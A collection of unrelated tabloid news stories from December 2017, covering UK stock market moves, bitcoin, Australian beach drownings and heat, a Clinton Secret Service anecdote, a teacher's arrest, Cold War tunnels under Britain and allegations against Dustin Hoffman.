News of their involvement sent One Media up 52.9 per cent, or 2.25p, to 6.5p. One Media was set up 12 years ago and sells music rights to streaming giants like Spotify, iTunes and You Tube.

The company, which is based at Pinewood, has a catalogue of more than 250,000 tracks. It focuses on selling nostalgic songs by artists such as Ricky Valance, Evelyn Thomas, Anita Harris, The Tremeloes, the Troggs and Marv Johnson.

On song: One Media was set up 12 years ago and sells music rights to streaming giants like Spotify, iTunes and Youtube

Chief executive Michael Infante said that by focusing on classics the firm is less exposed to the risks faced by record labels which mainly cater to new artists, as they only purchase the rights to songs they know are sure-fire hits.

He added that Grade and Dunleavy will provide a wealth of experience as the firm seeks to capitalise on the streaming market which is set to be worth 21billion by 2030.

The FTSE 250 finished up 1 per cent, or 206.8 points, to 20,255.4 points, while the FTSE 100 finished up 0.6 per cent, or 46.4 points 7,537 points.

Research by investment platform AJ Bell found the FTSE 100 could break the 8,000 mark for the first time in 2018.

STOCK WATCH - WPP News that it has acquired a majority stake in a Hong Kong digital consultancy failed to revive WPPs shares. The advertising giant dropped 1.7 per cent, or 24p, to 1365p after announcing it had snapped up a stake in ARBA through its Ogilvy & Mather agency. ARBA is known for its expertise in working with mobile apps and employs 40. The takeover caps off an acquisition-heavy year for WPP. Shares fell 22 per cent this year as advertising continues to be hit by client cost saving.

Engineering firm Babcock soared higher after revealing it had been awarded a ten-year contract to supply the Sellafield nuclear site with specialist handling and containment systems.

Through the deal struck by subsidiary Cavendish Nuclear, it will design, manufacture and supply equipment for the treatment and management of nuclear materials. It finished up 3.2 per cent or 22p to 706.5p.

Also up was Mondi which jumped on rumours investors are in line for a 660million Christmas present.

Analysts at Deutsche Bank upgraded the firm from hold to buy claiming it reckons a 660million special dividend is on the way, on top of the 264million normal dividend.

DB said it expects Mondis earnings to approach 1.5billion next year and, because larger acquisitions are too expensive for Mondi at this stage, a special dividend is more likely.

The news buoyed investors and sent shares up 2.2 per cent, or 39p, to 1857p.

Energy services group Hunting was the FTSE 250s biggest riser, leaping 6.3 per cent, or 34.5p, to 586p, after it revealed sales were likely to be at the upper end of expectations  coming it at around the 522million mark.

But podcast platform Audioboom plunged after it said it expects to post a 4.5million loss for the full-year.

The loss was slightly narrower than the 4.6million loss posted a year prior and came despite a 250 per cent boost in sales to 4.8million from 1.3million.

Monthly users jumped to 89.1m from 58.6m the year before while advertising impressions expanded to 2.1bn from 242m. In order to maximise its advertising revenue, Audioboom embeds its adverts into clips so that they cannot easily be blocked by an Adblocker.

Rob Proctor, chief executive, said the firm is ready to benefit from the tremendous increases in audience and content adding that it is now in the strongest possible position to maximise the foundations we have built over the last three years.

But shareholders werent convinced and its shares plunged 15.8 per cent, or 0.52p, to 2.8p.
Chanel is setting its sights on London expansion with plans to open a head office in prestigious Mayfair.

The French luxury fashion house owned by billionaire brothers Alain and Gerard Wertheimer has reportedly secured around 20,000 sq ft at the Time & Life Building on the corner of New Bond Street and Bruton Street.

The Grade II listed building, which features sculptures by Henry Moore on the outside, was built between 1951-53 and was originally used to house Time magazines British editorial staff.

Chanel has reportedly secured around 20,000 sq ft at the Time & Life Building on the corner of New Bond Street and Bruton Street

The property has also been used as the UK flagship store for luxury fashion brand Hermes since 1975.

Chanel has signed the contract with the propertys Middle Eastern landlord which is said to be part of plans to move some jobs from New York to London.

It already has a number of smaller offices in Bond Street.

Chanel opened its flagship London boutique on New Bond Street in 2013.
Unilever will decide whther or not to close the Colman's factory in Norwich next year

MUSTARD DECISION The future of mustard maker Colmans Norwich factory will be decided next year, its owner Unilever has said.

The group will decide whether to keep its base in Norwichs Carrow Works factory, where 113 people are employed, or move out of the city.

GERMAN OFFER Budget flyer EasyJet has bought part of bankrupt Air Berlin in a deal worth 35.2million with the orange airline taking control of the German carriers operations at Tegel Airport.

DIAMOND DAYS Former Barclays chief Bob Diamond  who resigned in disgrace over the Libor rate-rigging scandal  is plotting a return to British retail banking with a 10million investment through his firm Atlas Merchant Capital in online lender Tandem.

BUILDING BOUGHT The Emirati Al Gurg familys Wolfe Asset Management Limited is buying a 20-storey office block on Londons Southbank for 266.5million in a sign that international interest in UK prime real estate is still going strong.

POP-UP SHOPS Department store House of Fraser is opening up its shop floors for retailers to launch pop ups, which sees it partner with property tech start-up Popertee.

TECH TIE-UP Banking group Standard Chartered is joining forces with IT firm Ant Financial  which runs Chinese payment app Alipay with more than 520m users  to boost its tech systems.

PAYING OUT Insurer Aviva doled out 2.7billion to more than 775,000 British consumers making claims on their policies last year.

REBELS YELL More than one in five listed firms in the FTSE All-Share Index suffered a major shareholder rebellion this year, a public register of revolts put together by the Investment Association showed.

FREE SUCCESS Investment bankers at Barclays have raked in 243million of UK fees this year as chief executive Jes Staleys turnaround strategy starts to take off.

TERMINAL GROWTH Existing terminals could be expanded instead of a new building being constructed as part of measures to cut the cost of expansion by 2.5billion, Heathrow said yesterday.

INVICTUS KIT High Street retailer Superdry will kit out UK athletes at the Invictus Games in Sydney, Australia, next year.
Bitcoin hit a high of $19,757 before dropping by more than $1,000 yesterday

Bitcoin has almost doubled its price in just three weeks  prompting further warnings from experts of a dangerous bubble.

The online crypto-currency hit a high of $19,757 before dropping by more than $1,000 yesterday.

CME Group became the second US exchange to take bets on the future price of bitcoin, in a major boost for its credibility.

Traders gambled on around 5,000 units of the currency at CME yesterday, with a value of around 69.1million.

But seasoned market followers and watchdogs continue to have major concerns about the volatile investment, saying punters are putting their lifes savings at risk.

France has called for the G20 group of major economies to discuss bitcoin regulation at next years summit in April.

And Lars Rohde, governor of the National Bank of Denmark, said: You have to stay away from bitcoin. It is dangerous.

Sopnendu Mohanty, of Singapores monetary authority, said: Bitcoin has no natural intrinsic value.
Australia's killer beaches have claimed five young lives already this month in a horror start to the school summer holidays - and the warning from lifesavers is that 'nowhere is safe'.

More than 30 Australians have already drowned in coastal waters since July, as temperatures soar and life savers plead with beachgoers to take more care.

Five children aged 11 to 15 have lost their lives since December 6, with a total of 10 coastal drowning deaths for the month.

Two children, an 11-year-old boy and Bronson Rhodes, 14, have died at Port Macquarie beaches on the New South Wales mid north coast within a fortnight. Neither of their bodies has been found.

Two teenagers, both 15, have also drowned at Glenelg Beach in Adelaide within eight days. The first, Nitisha Negi, fell from rocks on December 10.

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Glenelg Beach in South Australia where two teenagers have drowned in just eight days

Nitisha Negi, 15, was found on December 11 after she fell from rocks at Glenelg beach, SA

Flynns Beach at Port Macquarie where Bronson Rhodes, 14, drowned last Saturday afternoon

Bronson Rhodes disappeared off Flynns Beach at Port Macquarie on the NSW mid north coast

In Tasmania, 14-year-old Georgia Lewtas died on Sunday, six days after being pulled from the water at Devonport's Mersey Bluff Beach on the island's north coast.

A woman, 49, drowned at unpatrolled Diggers Beach in Coffs Harbour, on the north coast of NSW, while trying to save a boy from a rip on Sunday afternoon.

And a man aged in his 60s remains in a critical condition after being pulled from water at Sydney's Bondi Beach after he was spotted in distress on Monday afternoon.

Melbourne father-of three Shaun Oliver, 32, died while trying to save 12-year-old boy Yazan Hammad at Wollongong's City Beach, south of Sydney, on September 11. City Beach had been closed at the time due to rough conditions.

Shane Daw, National Coastal Risk and Safety Manager for Surf Life Saving Australia (SLSA), said there had been at least 33 coastal drowning deaths in Australia since July 1.

'The loss of any life is tragic, let alone that of a child or young person,' Mr Daw said.

'Coming into the Christmas period we are imploring all beachgoers and other aquatic users to stop and think water safety.'

Georgia Lewtas, 14, died six days after being pulled from water at Devonport's Mersey Bluff

Tasmania's Mersey Bluff Beach, in Devonport, where Georgia Lewtas was swept out to sea

Shaun Oliver drowned while attempting to save a 12-year-old boy at Wollongong's City Beach

'It is critical that parents, young people, and all coastal visitors understand the potential risks when recreating at any aquatic venue.

'Sadly, it only takes a moment for a tragedy to unfold. Knowing your limits and abilities is critical, and we cannot overstate the importance of swimming at patrolled locations.'

Since July 1 there have been 16 coastal drownings in NSW, including four on the mid north coast and three on the far north coast.

There is no national beach-by-beach record of drownings. And 'coastal drownings' can include deaths up to 1 kilometre inland and 5 kilometres offshore.

SLSA's recently released National Coastal Safety Report for 2017 showed 116 coastal drowning deaths were recorded for 2016-17, which was the third highest number of fatalities recorded in the past 13 years.

An 11-year-old boy drowned at Lighthouse Beach, Port Macquarie, NSW, on December 6

Bronson Rhodes, 14, pictured left, disappeared in rough surf at Flynns Beach in Port Macquarie, NSW; Shuan Oliver, 32, pictured right, drowned at Wollongong's City Beach

Two boys, aged 11 and 14, have drowned at Port Macquarie beaches within a fortnight

According to the separate Royal Life Saving (RLS) National Drowning Report for 2017 there were 50 drowning deaths at beaches in Australia between 1 July 2016 and 30 June 2017.

That figure was an increase of 4 per cent on the 10-year average. Males accounted for 80 per cent of all drowning deaths at beaches, the report found.

More than half - 54 per cent - of beach drowning deaths occurred while swimming and recreating, with watercraft and diving incidents making up a further 16 per cent of deaths.

NSW recorded the highest number of drowning deaths at beaches, according to the RLS report, accounting for almost one third of all deaths.

Fourteen deaths (28 per cent) occurred in Western Australia and nine occurred in Victoria (18 per cent).

According to the latest Surf Life Saving NSW Coastal Safety Report over the past 10 years 375 people have drowned along the coast of that state, with 34 per cent of deaths in the Sydney metropolitan area.

Police divers found Nitisha Negi's body at South Australia's Glenelg Beach on December 11

More shark attacks have been recorded at Byron Bay, NSW, than any other Australian beach

Diggers Beach at Coffs Harbour in northern NSW where a 49-year-old woman died on Sunday

Local government areas with the most drowning deaths were Randwick - which includes Maroubra and Coogee - the Northern Beaches, Central Coast, Sutherland, Shoalhaven, Coffs Harbour and Byron areas.

An 11-year-old boy drowned at Lighthouse Beach, Port Macquarie, on December 6 and Bronson Rhodes, 14 was last seen at nearby Flynns Beach on December 16.

In Queensland, there were only four drownings on beaches between July 1, 2016 and June 30, 2017, the equal lowest total on record and a significant drop from 11 the previous year.

There was one drowning recorded on Thursday Island (Torres Strait), Green Island (North Queensland), Tangalooma (Moreton Island), and Currimundi Beach (Sunshine Coast).

There have been 77 drownings on Queensland beaches across the past 10 years, with Surfers Paradise the most common location (seven) followed by Green Island with six.

There were no drownings between Surf Life Saving Queensland's red and yellow flags in the past 10 years and 72.7 per cent of all drownings during this time occurred less than 1 kilometre from a patrolled area.

Most shark attacks occur in NSW but the majority of fatalities occur in Western Australia

Searchers pictured keeping a close eye on the rough sea as they search for Bronson Rhodes

SLSQ identified five coastal blackspots across the state: Green Island, Surfers Paradise and Marina Mirage to South Stradbroke Island, and Noosa River to Double Island Point Headland and Peregian to Sunshine Beach.

Over the past 10 years the worst Queensland beaches for drowning were: Surfers Paradise (seven), Green Island (six), Sunshine Beach at Noosa (three) and Northcliffe on the Gold Coast (three).

Six beaches recorded two deaths: Narrowneck on the Gold Coast, Happy Valley on Fraser Island, Kings Beach on the Sunshine Coast, Teewah Beach at Noosa, Fitzroy Island at Cairns and Southport on the Gold Coast.

Surf Life Saving NSW said anecdotal evidence continued to support the premise people were swimming further away from patrolled locations.

'Fatal drowning data supports this anecdotal evidence when we look at the distances from patrolled locations where fatal drownings occurred,' SLSNSW said in its Coastal Safety Report.

The scene at Adelaide's Glenelg Beach after another drowning there on Monday afternoon

An 11-year-old boy drowned after he was swept out to see off Lighthouse Beach in NSW

Seven people have drowned at Queensland's famous Surfers Paradise in the past 10 years

In the 2016-17 year 45 per cent (14) of coastal drowning deaths were at locations where no active patrol was present or nearby.

In the same period, 23 per cent (seven) of coastal drowning deaths occurred within 1 kilometre of a patrolled location.

However, about half of those incidents appeared to have occurred as a result of a medical complication and/or were at locations that could not be seen such as rock platforms around headlands.

A further 10 per cent (three) of coastal drownings occurred between 1 kilometre and 5 kilometres away from the patrolled location and the remaining 68 per cent (21) occurred more than 5 kilometres away from an actively patrolled location.

Adelaide's Glenelg breakwater has seen four drowning deaths in the past two years.

The body of Nitisha Negi, 15, was found on December 11 after she and four others fell from rocks the previous day.

Police, ambulance and Surf Life Saving crews at a drowning at Glenelg Beach on Monday

A boy, 11, drowned while swimming with his brother at Lighthouse Beach in Port Macquarie

And a boy, also 15, drowned at a birthday party at the beach on Monday afternoon. He body was spotted by beachgoers in waters underneath the jetty.

Two 11-year-old boys, Frank Ndikuriyo and Thierry Niyomwungere, died after playing in the same area on New Year's Day last year.

Fortunately, there has only been one fatal shark attack so far this year - at Esperance in Western Australia - with Byron Bay remaining the most dangerous beach over the past 17 years.

Between 1990 and 2016 there were 295 unprovoked shark attacks  42 of them fatal - in Australia, according to analysis of the Global Shark Attack File by online comparison site Finder.com.au.

Most recorded attacks occurred in NSW but the majority of fatalities occurred in Western Australia.

Seventeen people were killed in Western Australia, seven in Queensland, six in NSW and two in Tasmania.

How to stay safe on Australian beaches Surf Life Saving Australia is asking the public to take precautions when relaxing in coastal areas this summer: Where possible, swim at a patrolled beach, between the red and yellow flags. Obey the safety signs at the beach. Learn how to identify a rip current and look for rip currents before deciding where to swim. If you're not sure, ask a lifesaver about the beach conditions. Wear a lifejacket while boating, rock fishing or paddling. Don't go into or on the ocean during severe weather warnings. Take personal responsibility, think twice and assess your safety before entering the water. Supervise children at all times in and around water. Advertisement

In that period Byron Bay in NSW and Cottesloe Beach in Western Australia had the most fatal attacks with two each. Byron Bay had the most attacks with 12.

Ballina in NSW had six attacks  one of them fatal  and another fatal attack was recorded at Shelly Beach on the NSW Central Coast.

There were five attacks in Sydney Harbour and four in Newcastle.

Three attacks were recorded in NSW at Bondi Beach, Seal Rocks, Fingal Bay, Lennox Head and Mona Vale, as well as at Victoria's Bells Beach and South Australia's Middleton Beach.

Western Australia has had the most unprovoked attacks in 2017 with six  one of them, at Esperance, fatal  followed by NSW with five and Queensland (four).

In the past 17 years there have been fatal stinger attacks at Yarrabah, Cairns (box jellyfish in 2000), Hamilton Island, Whitsundays and Opal Reef, Cairns (irukandji in 2002) Bamaga, Umagico (box jellyfish in 2006) and Wongaling, Mission Beach (box jellyfish in 2009).
Bill Clinton was once caught trying to sneak out of the White House - apparently to visit a mistress - by hiding under a raincoat in the back of his personal lawyer's car.

The former president was stopped by a Secret Service officer at the gate who inspected lawyer Bruce Lindsey's vehicle and was shocked to see Clinton inside.

Lindsey pleaded to be allowed to pass but the uniformed officer held firm and radioed for backup. The officer said: 'You better get me some help here.

'I just caught Bruce Lindsey trying to drive out with the President with a raincoat over his head'.

The incident was recounted by former Secret Service officer Gary Byrne - who guarded the Clintons - in his new book, Secrets of the Secret Service: The History and Uncertain Future of the US Secret Service, which is out next month.

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President Bill Clinton was once caught by a Secret Service officer trying to sneak out of the White House to presumably visit a mistress by hiding under a raincoat in the back of his personal lawyer Bruce Lindsey's car. Pictured: Clinton in Washington DC in 1999

Lindsey had pleaded to be allowed to pass but the officer radioed for backup. The officer said: 'You better get me some help here. I just caught Bruce Lindsey trying to drive out with the President with a raincoat over his head'. Pictured: Clinton and Lindsey in 1998

Byrne does not reveal the nature of Clinton's excursion but says that he would routinely sneak out to visit his 'well known and less well known mistresses' in Washington DC.

Such trips were known as 'Off The Record' or OTR, a privilege normally reserved for somber occasions such as visits to the families of dead servicemen.

But Clinton supposedly began to use them for his secret assignations which left the Secret Service outraged.

The undated episode with the raincoat left the senior agents 'past fury', he writes.

The book says: 'They were dejected, disappointed, bewildered and shocked. They tried to remain diplomatic but they had to be adamant with Bruce Lindsey that this would never happen again'.

Clinton's attempts to 'sneak off' became something to look out for after the raincoat incident, which led Clinton to using OTR trips to his own ends.

Byrne writes that Clinton 'abused' this freedom and on one occasion it nearly cost a Secret Service agent his life.

On a normal trip, the President was part of a motorcade which blazed through red lights with sirens going to ensure he could not be attacked.

Any trip required cooperation from the Washington DC Metropolitan Police Department, which blocked off roads to prevent a terrorist attack and to keep people away.

Clinton's mistresses are said to have included a blonde woman who has been to his house so many times that his Secret Service detail have given her the nickname 'Energizer'. The buxom woman is supposedly driven to his upstate New York home in an SUV after his wife Hillary leaves in an elaborate maneuver to ensure they never meet. Pictured: The Clintons in 1997

But Clinton asked for everything to be changed 'at the last minute' when he wanted to make his trips out of the White House with less security and less attention.

The Secret Service 'capitulated' but Clinton wanted trips that were even more secret than that, meaning the agency did not have enough time to plan for proper security.

According to Byrne, the new arrangements 'eliminated layers of protection all together' meaning that the remaining security layers were disjointed.

All of this put the service personnel and the public at 'extreme risk', Byrne claims.

Previous extracts from the upcoming book, Secrets of The Secret Service, have revealed that the Clintons forced the agency to undermine itself by 'systematically destroying' the rules that were put in place for their protection.

Agents were forced to collude with the Clintons in the 'Chinagate' campaign finance scandal in 1996 by ignoring the contents of brown paper bags brought into the White House by Chinese officials.

Byrne says that the problem was compounded by Secret Service leadership mistakenly thinking that the Clintons were 'invincible'.

He writes: 'The view from the front lines, however, was that something, somehow, was bound to ensnare them. It was simply a matter of the right scandal'.

Clinton's mistresses are said to have included a blonde woman who has been to his house so many times that his Secret Service detail have given her the nickname 'Energizer'.

Former Secret Service officer Gary Byrne did not reveal the nature of Clinton's excursion on the day of the raincoat incident but says that he would routinely sneak out to visit his 'well known and less well known mistresses'. Pictured: Clinton with Monica Lewinsky in 1998

The buxom woman is supposedly driven to his upstate New York home in an SUV after his wife Hillary leaves in an elaborate maneuver to ensure they never meet.

Clinton is also said to have given orders to his Secret Service detail to not ask his mistress any questions and just 'let her go in', according to another author, Ronald Kessler.

Whilst in office Clinton survived impeachment proceedings when he admitted having an affair with former White House intern Monica Lewinsky.

Clinton also paid out $850,000 to settle a sexual harassment cause brought by Paula Jones, a former Arkansas state employee.

Lindsey, from Little Rock, Arkansas, was a permanent fixture of Clinton's inner circle, especially in times of turmoil.

Byrne's book paints a picture of an agency in crisis which could be a danger to President Trump

The advisor to the president found himself in the spotlight during the Monica Lewinsky scandal when he was subpoenaed to testify in front of a grand jury over allegations that he attempted to silence women who claimed to have sexual encounters with Clinton.

The Georgetown alum is still close with Clinton, serving as counselor to the chair on the Clinton Foundation Board of Directors, and from 2005 to 2017 he served as the chairman of the board.

Lindsey handles potential Clinton scandals, as a leaked email from last October shows he was made aware that foundation staffers in 'protected' classes would slap the organization with lawsuits if they learned they were making less than their colleagues in comparable positions.

These 'protected' classes referred to women and minority groups.

Last October it was also revealed that Lindsey received an email from the foundation's director of foreign policy in 2012 that informed the board that Qatar, an Islamist state in the Persian gulf, would be handing Bill Clinton $1 million check for his birthday.

Both of the correspondences were released by Wikileaks and came from the hacking of Clinton campaign chairman John Podesta's emails during the height of the 2016 presidential election.

Secrets of the Secret Service: The History and Uncertain Future of the U.S. Secret Service will be released January 2, 2018
An Oregon teacher has been accused of having a sexual relationship with a student.

Andrea Baber, 29, was arrested at her Cottage Grove home on Friday just days after she and the teenager were reportedlt caught in bed by her husband on December 5, reported The News-Review.

Law enforcement first learned of the relationship last week after the boy's father received an anonymous email asking whether he knew his teenage son was in a sexual relationship with Baber.

Attached to the email were several photos of Baber and the boy in bed together, according to court documents.

Andrea Baber, 29 (left and right), a teacher at Logos Christian Academy was arrested at her Cottage Grove, Oregon, home on Friday

Baber worked at Logos Christian Academy in Springfield where she taught Language and Literature, Writing II and Speech Communication.

Lt Chris Merrifield of the Douglas County Sheriff's Office says the relationship began in 2016, when the male student was 15 years old.

Merrifield added that the relationship continued 'on a regular basis', with Baber also providing the boy with marijuana, reported The Register-Guard.

Baber is charged with third-degree rape, third-degree sodomy, unlawful delivery of marijuana to a person under 18 years of age, online sexual corruption of a child and contributing to the sexual delinquency of a minor.

She is being held on $456,250 bail at Douglas County Jail.

Baber, an English teacher, is facing multiple charges including third-degree rape, third-degree sodomy and unlawful delivery of marijuana to a person under 18 years of age

The sheriff's office identified Baber as a former teacher, but she remains on the school's online staff directory. The website says Baber lives south of Eugene with her husband, a dog and a cat.

According to the site: 'Andrea has always felt called to work with youth and is very excited that God opened the door for her to be part of the Logos team.'
Australia's east coast is heating up in the lead up to Christmas, but unfortunately the sweltering temperatures aren't set to stay.

Tuesday saw Canberrans urged to keep cool and stay hydrated as the mercury pushed a scorching 39C, while Sydneysiders will be in for a warm Wednesday, with temperatures set to peak at 38C.

But the summer weather is set to disappear come Monday, with the weather dipping to the mid-twenties for most of the south-east.

Australia East coast is heating up in the lead up to Christmas, but unfortunately the sweltering temperatures aren't set to stay

Tuesday saw Canberrans urged to keep cool and stay hydrated as the mercury pushed a scorching 39C, while Sydneysiders will be flocking to the beach during a warm Wednesday, where temperatures are set to peak at 38C

Canberra's blistering Tuesday was expected to come 'very close' to the city's December record of 39.2C, Bureau of Meteorology's Meteorologist Craig Ryan told Daily Mail Australia.

'The overnight temperature is expected to be 21C as well, with the record currently standing at 21.2C, so we will be keeping an eye on that too,' Mr Ryan said.

It comes as a heatwave crosses the Tasman seas, which will bring hot air down from the central parts, with Canberra set to experience another four days above 30C before things would cool down just in time for Christmas.

'It could still be a bit muggy so that's why we're still thinking a few showers could be on the cards, maybe even a thunderstorm, for Christmas Day,' Bureau of Meteorology forecaster Jake Phillips told the ABC.

Canberra's blistering Tuesday was expected to come 'very close' to the city's December record of 39.2C, Bureau of Meteorology's Meteorologist Craig Ryan told Daily Mail Australia

It comes as a heatwave crosses the Tasman seas, with Sydney experiencing a stifling 38C Wednesday before temperatures drop to the mid-twenties Thursday and Friday

Up the coast, Sydneysiders are expected to flock to the beach on Wednesday, as temperatures reach a sweltering 38C.

It follows temperatures of 44C in parts of the New South Wales state on Tuesday, including at Penrith in the east.

But the warm weather won't stick around long, dropping down to just 23C on Thursday and 25C Friday.

While temperatures will pick up again in time for the weekend, with Sunday set to hit 34C, those celebrating Christmas Day can expect conditions to sit in the mid twenties with a chance of showers.

'There will be a change coming through later in the week, with some relief from the high temperatures,' Mr Ryan said.

Melbourne is in for a mild week with temperatures in the twenties after a high of 36C on Tuesday brought a hot start to the week

Over on the west coast, Perth was treated to mild conditions as the week began, but will quickly turn things around to become the hottest capital city for the big day, with a forecast of 34C and sunny skies

Melbourne is in for a mild week after a high of 36C on Tuesday brought a hot start to the week.

Conditions will range between 23 and 29 degrees will be present in the festive lead-up, with plenty of sun around.

While Brisbane will enjoy similarly sparkling weather, with the mercury sitting in the low thirties right up until Christmas.

Hobart was treated to a windy and warm Tuesday as well, with 32C forecast for the Tasmanian city before things cooled off considerably on Wednesday to just 21C.

Over on the west coast, Perth was treated to mild conditions as the week began, but will quickly turn things around to become the hottest capital city for the big day.

The forecast has temperatures soaring to a glorious 34C on Christmas, with sunny and warm conditions in the lead-up.
Last year was Leah Dwyers first Christmas in Flagstaff after growing up in San Diego and living for a year in Phoenix. After working the morning shift at her brewery job, Dwyer had planned to fly to San Diego Christmas afternoon.

And then the snow started to fall.

By the end of Christmas Eve, Flagstaff had received 10.1 inches of snow. Another 4.6 inches piled up Christmas Day. Flights out of Flagstaff were cancelled, one after the other, and then Dwyers was too. It wasnt until the morning after Christmas she was able to reschedule the flight.

I was like, What an awesome Christmas Day if youre not trying to get somewhere, she said.

Though roads were closed and flights were canceled, the snowstorm brought the whitest of Christmases to Flagstaff last year and a 44-inch blanket of powder to Arizona Snowbowl by weeks end, the resort reported.

This year, the picture is entirely different. Flagstaff has received no snow at all and just one hundredth of an inch of precipitation since Sept. 27, and theres only a slight hope for a white Christmas if tonight's light snow doesn't melt.

The National Weather Service's latest forecast includes a 40 percent chance for snow showers Wednesday night and a 10 percent chance of snow showers Thursday morning with accumulation of less than a half-inch possible.

Before and after that, the National Weather Service is forecasting sunny conditions. Christmas Day will bring clear skies and a high temperature in the low 40s.

If snow does fall this week, 2017 will barely miss joining the seven other years on record when Flagstaff hadnt seen any snowfall by Christmas Day. The last time no snow fell before Dec. 25 was 2005, and that year the flakes didnt start to fly until Jan. 15.

Its not quite as rare to have a snow-free Christmas. Since the National Weather Service began keeping snow depth records in 1950, the agency has recorded 23 years when, even if it had snowed earlier that winter, there was no snow on the ground in Flagstaff when the holiday rolled around. The last time that happened was 2005 as well.

The records show that a late first snowfall doesnt bode well for snow accumulation the rest of the winter.

Of the 10 years with the latest first snows, just two years  1989 and 1916  ended up seeing more snow than the 102 inches that Flagstaff normally receives each winter. Snowfall totals in all the other years fell well short of that number, with winter snow totals reaching just half of normal in five of those years.

Although this year will be remembered as brown, it likely wont be marked as one of Flagstaffs more dangerous Christmas Days. Those honors go to years like 2008 when snowfall followed by rain created tons of heavy snow that caused the roofs of at least two buildings to collapse.

And 50 years ago, Flagstaff residents were still digging out of the 7 feet of snow that stopped falling just five days before. Many more rural residents were snowbound, streets were closed and people raided grocery store shelves for staples.

"It was a truly paralyzing snow," Richard Mangum, a retired judge and local historian, recalled to the Daily Sun.
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The existence of a secretive network of Cold War era tunnels under the streets of Britain has been revealed after a massive cache of data was made public.

The huge dataset, released by the Land Registry, contains details on 3.5 million land titles across UK. They are under the ownership of corporate bodies in Britain as well as councils, companies and housing associations.

Other underground tunnels and structures that vein across subterranean London have piqued the curiosity of urban explorers for years, particularly Churchill's Cabinet War Rooms and the Mail Rail.

An atom-bomb-proof telephone exchange deep underneath High Holborn: The Kingsway telephone exchange was built as a deep-level shelter underneath Chancery Lane tube station in the early 1940s for use as an air raid shelter. But like many deep level shelters it was not used for its intended purpose and was instead used as a government communications centre. Material from the Public Records Office was stored there from 1945 to 1949 and the site was given to the General Post Office (GPO) in 1949. At the time, the Post Office was also responsible for telephones as well as postal system. The two-tunnel shelter was extended by the addition of four tunnels at right-angles to the originals. This extension was completed by 1954, and in 1956 it became the UK termination point for TAT-1, the first transatlantic telephone cable. Throughout the 1960s, 1970s and early 1980s, Kingsway Trunk Switching Centre (as it became known) was a trunk switching centre and repeater station with Post Office engineering staff totalling over 200 at its peak and boasted a staff restaurant, tea bar, games room and licensed bar. Its bar claimed to be the deepest in the United Kingdom, located approximately 200 feet below street level

The Post Office (now BT) network of deep level cable tunnels under central London. Most were built to give protection against A bombs during the 1950s. The Kingsway Exchange is pictured centre. The site, like others in the network, contained an well and rations to maintain several hundred people for months, ensuring a safe environment in case of nuclear attack

But the release reveals the existence of other tunnels and chambers owned by companies and corporations including the Post Office, BT and the Ministry of Defence.

Guy Shrubsole from the website Who Owns England compiled some of the most fascinating information to come out of the data release.

Just last year secret photographs and documents which shed light on the famous Cabinet War Rooms where Winston Churchill directed the war were released for the first time.

The files, in the archives of the Imperial War Museum, helped paint a picture of the wartime Prime Minister's love-hate relationship with the underground bunker where he plotted Hitler's downfall.

Planning for a deep network of Whitehall tunnels and War Rooms began before the Second World War. Each service ministry, the Cabinet War HQ and other civil and military administrators had protected accommodation in the 'citadels'. A deep level tunnel and lift shafts linked each citadel. The Cabinet War Rooms contains four main rooms - Churchill's bedroom and study, the telephone room, the Map Room and the Cabinet Room. The Cabinet Room was where Churchill and the top generals, admirals and wing commanders would have robust discussions about the direction of the war From 1950-53, new bunkers were built under Whitehall.

Map Room Officers at work in the Cabinet War Rooms. The Royal Air Force officer sitting at the end of the table is Wing Commander John Heagerty, and the picture is believed to have been taken in 1942

The Map room in the War rooms at Storey's Gate, used for military planning and strategy during the Second World War

The Cabinet War Rooms, directly beneath Whitehall, were built in 1939 and abandoned after Japan's surrender in the summer of 1945.

Forty years later they were opened to the public, all be it protected by glass, and have been a popular tourist attraction ever since. But a book by Jonathan Asbury, The Secrets of Churchill's War Rooms, explained the workings of the Map Room, where officers from the Army, RAF and Royal Navy gathered intelligence and recorded dreadful toll of casualties in chalk on a blackboard.

Land registry map, showing the Anchor Exchange Birmingham in pink (1959). The Anchor was an underground telephone exchange and nuclear bunker built in 1953 under the guise of building an underground railway and opened in September 1957 at a cost of 4 million. It was located on Newhall Street but its network of tunnels extended from at least the Jewellery Quarter to Southside. Code-named Anchor after Birminghams jewellery hallmark, it remains as a largely unknown and forgotten part of the citys Cold War heritage. There are a number of entrances to the tunnels across the city, but these are still kept secret
Kathryn Rossetter branded Dustin Hoffman 'abusive' and a 'bully' during the first joint TV interview with two other women who accuse him of sexual misconduct.

The actress was joined on NBC's Nightly News by Cori Thomas, who says Hoffman exposed himself to her when she was 16, and Anna Graham Hunter, who says the Oscar winner sexually harassed her when she was a 17-year-old production assistant.

'As hard as it is I think I wanted to choose truth over shame,' said Thomas, her voice breaking with emotion.

Rossetter, who says the Rain Man star made her life hell when they were working together in a 1983 Broadway revival of the Arthur Miller play Death Of A Salesman, revealed how his relentless sexual harassment wore away on her.

'It eroded self confidence and my dignity and it was humiliating and demeaning,' said the actress, who was flanked by the other victims during the interview with Cynthia McFadden.

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Kathryn Rossetter branded Dustin Hoffman 'abusive' and a 'bully' during the first joint TV interview with two other women who accuse him of sexual misconduct

The actress was joined on NBC's Nightly News by Cori Thomas, who says Hoffman exposed himself to her when she was 16, and Anna Graham Hunter, who says the Oscar winner sexually harassed her when she was a 17-year-old production assistant

EXCLUSIVE: Kathryn Rossetter, who acted alongside Dustin Hoffman in 1983 and accuses him of sexual misconduct, calls the actor "abusive" and a "bully."



See @CynthiaMcFadden's interview with Rossetter and two other accusers, Anna Graham Hunter and Cori Thomas, on @NBCNightlyNews. pic.twitter.com/38u4Ipxt99  NBC Nightly News with Lester Holt (@NBCNightlyNews) December 18, 2017

'He robbed me of the joy of that experience. So I've been lying for 34 years.

'People go, "How was it to work with Dustin?" So I tell the half truth; "As a actor, working with him, I owe him everything. I learned so much."

'And then I would stop. And there would always be knot in my stomach about the real truth was, which was that he was abusive and he was a bully.'

Rossetter said she'd been too terrified to report the sexual harassment she suffered during the play, including one harrowing moment where she claims he moved his hand up her thigh and 'tried to penetrate me with his fingers', because she didn't think anyone would believe her.

All three women have accused Dustin Hoffman (pictured) of sexual misconduct

'He was the most famous actor in the world, it was the top of his career,' she said. 'I was a nobody. No one was going to believe me.'

'We have a culture of celebrity,' she added. 'Just because youre good at sports or music or acting doesn't mean that you're a completely integrated fabulous human being. Your humanity is different than your work.'

The actress said that was what made Hoffman's behavior offstage so shocking. The actor is renowned for his brilliant portrayal of vulnerable, hugely sympathetic characters.

